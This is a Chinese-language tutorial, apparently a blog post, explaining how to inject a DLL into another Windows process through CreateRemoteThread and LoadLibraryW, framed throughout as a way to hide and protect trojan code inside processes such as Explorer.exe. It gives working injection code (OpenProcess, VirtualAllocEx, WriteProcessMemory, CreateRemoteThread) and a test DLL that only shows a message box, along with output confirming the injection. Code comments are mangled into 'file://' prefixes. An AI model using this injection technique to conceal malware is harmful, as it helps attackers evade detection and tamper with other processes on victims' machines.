远程线程技术, 是实现进程隐藏的一种有效方法,具体是指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread 函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread 也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程耶!)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。例如在远程进程内部启动一个DLL 木马(与进入进程内部相比,启动一个DLL 木马是小意思,实际上我们可以随意篡改那个远程进程的数据)。 首先,我们通过OpenProcess 来打开我们试图嵌入的进程(如果远程进程不允许打开,那么嵌入就无法进行了,这往往是由于权限不足引起的,解决方法是通过种种途径提升本地进程的权限)
hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | file:// 允许远程创建线程 PROCESS_VM_OPERATION | file:// 允许远程VM 操作 PROCESS_VM_WRITE,// 允许远程VM 写 FALSE, dwRemoteProcessId ) | 由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD 、VM_OPERATION 、VM_WRITE )。 然后,我们可以建立LoadLibraryW 函数这个线程来启动我们的DLL 木马,LoadLibraryW 函数是在kernel32.dll 中定义的,用来加载DLL 文件,它只有一个参数,就是DLL 文件的绝对路径名pszLibFileName ,(也就是木马DLL 的全路径文件名),但是由于木马DLL 是在远程进程内调用的,所以我们首先还需要将这个文件名复制到远程地址空间:(否则远程线程是无法读到这个参数的)
file:// 计算DLL 路径名需要的内存空间 int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR); file:// 使用VirtualAllocEx 函数在远程进程的内存地址空间分配DLL 文件名缓冲区 pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE); file:// 使用WriteProcessMemory 函数将DLL 的路径名复制到远程进程的内存空间 iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL); file:// 计算LoadLibraryW 的入口地址 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); | 万事俱备,我们通过建立远程线程时的地址pfnStartAddr (实际上就是LoadLibraryW 的入口地址)和传递的参数pszLibFileRemote (实际上是我们复制过去的木马DLL 的全路径文件名)在远程进程内启动我们的木马DLL :
file:// 启动远程线程LoadLibraryW ,通过远程线程调用用户的DLL 文件 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL); | 至此,远程嵌入顺利完成,为了试验我们的DLL 是不是已经正常的在远程线程运行,我编写了以下的测试DLL :
BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved) { char szProcessId[64] ; switch ( reason ) { case DLL_PROCESS_ATTACH: { file:// 获取当前进程ID _itoa ( GetCurrentProcessId(), szProcessId, 10 ); MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK ); } default: return TRUE; } } | 当我使用RmtDll.exe 程序将这个TestDLL.dll 嵌入Explorer.exe 进程后(PID=1208 ),该测试DLL 弹出了1208 字样的确认框,同时使用PS 工具也能看到
Process ID: 1208 C:/WINNT/Explorer.exe (0x00400000) …… C:/TestDLL.dll (0x100000000) …… | 这证明TestDLL.dll 已经在Explorer.exe 进程内正确地运行了。 无论是使用特洛伊DLL 还是使用远程线程,都是让木马的核心代码运行于别的进程的内存空间,这样不仅能很好地隐藏自己,也能更好的保护自己。 |